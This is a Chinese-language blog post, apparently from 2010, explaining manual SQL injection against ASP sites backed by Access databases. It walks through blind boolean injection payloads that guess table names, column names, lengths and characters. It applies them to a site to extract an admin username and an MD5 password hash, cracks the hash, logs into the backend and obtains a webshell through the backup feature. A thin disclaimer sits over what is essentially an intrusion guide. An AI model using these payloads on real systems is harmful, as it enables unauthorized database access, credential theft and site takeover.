<< 惠普大中华区总裁孙振耀退休感言(四)nicewords做自动生成英语网站真的能行吗-不能自动生成采集内容 >>

关于ACCESS手工注入的技术-破解ACCESS数据库方法

ASP+accesss数据库架构的网站现在比比皆是,有时候我们处于各种目的,需要知道网站的数据库密码或者进入到网站的后台,但是我们没有记住或者忘记了后台登陆名和密码,这个就需要我们根据ACCESS数据库的规律来进行破解了。以下是一些破解思路,仅用来参考,不做非法目的倡导。 

 1.and user>0 判断数据库类型(虽然刚才工具中已经判断出来了,但为了学习嘛,从最基本的来)看到回显中的Microsoft JET Database*** 错误我们可以断定是ACCESS数据库了
  2.and exists (select * from 表名) 猜解表名,返回错误说明表名不存在,返回正常说
  明表名存在
  这里我们输入 and exists (select * from admin)
  返回正常,说明我们输入的表明admin存在
  3.exists (select 列名 from 表名) 猜解列名,依然是返回错误说明列名不存在,返回
  正常说明列名存在
  这里我们输入
  and exists (select password from admin)
  and exists (select adminname from admin)
  返回正常,这样表名、列名就搞定了。
  4.and (select top 1 len(列名) from 表名)>x 猜解列的长度。x是数字,列的长度,返回错误说明正确列的长度就是x。变换top后的数字就可以猜解这个列的第N行长度了这里我们输入 and (select top 1 len(adminname) from admin)>8 8错误,7不错,说明8就是列的长度。
  5.and (select top 1 asc(mid(列名,列数N,1)) from 表名)>x 关键步骤,猜解列内容。
  top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字或字母。例如,x取50正常,100错误,80正常,一直提交到96正常,97就错误,说明其ASCII值为97这里我们输入:and (select top 1 asc(mid(adminname,1,1)) from admin)>50,50正常 150错误,125错,110正常,115正常,120错。118正常,119错误,说明第一位ASCII为119,转换下为w。
  118回显正常
  按照上面的方法,依次猜解出另外7位列内容,使用工具转换下。
  第二位仍为119----w
  第三位 25正常,50错误,48----g
  第四位 48----0
  第五位 46----.
  第六位99-----c
  第七位111-----o
  第八位109------m
  最终adminname列结果为 wg00.com
  6.剩下的passwod列的内容猜解方法和上面一样。不过比较麻烦,需要耐心。因为一般密码都是MD5加密了,需要猜解很多次。我这次就猜了16次,应该有其他的捷径,希望高手看到不吝赐教。
  and (select top 1 len(password) from admin)>16---16位MD5加密 猜解到password列的长度为16为,16位MD5加密了。
  password列的内容最终结果为:c6f4f454c781af4f 。去MD5加解密的网站查了一下,结果和用户名一样:wg00.com。(好辛苦,幸亏MD5能解密出来,不然努力就白费了)
  7.使用默认的管理入口,输入辛苦猜解出来的用户名、密码,顺利登陆进去后台有数据备份功能,简单拿下webshell,本次手工注入也得以结束!

2010-5-21 9:6:55 | 发布:ntsem | 分类:网站运营研究 | 评论:0 | 引用:0 | 浏览:
Auto Publisher Copyright 2008-2010 苏ICP备09044516号
点击发起会话
时间:7:30-18:00
  • 域名空间基础
  • 网站建设服务
  • 网站优化推广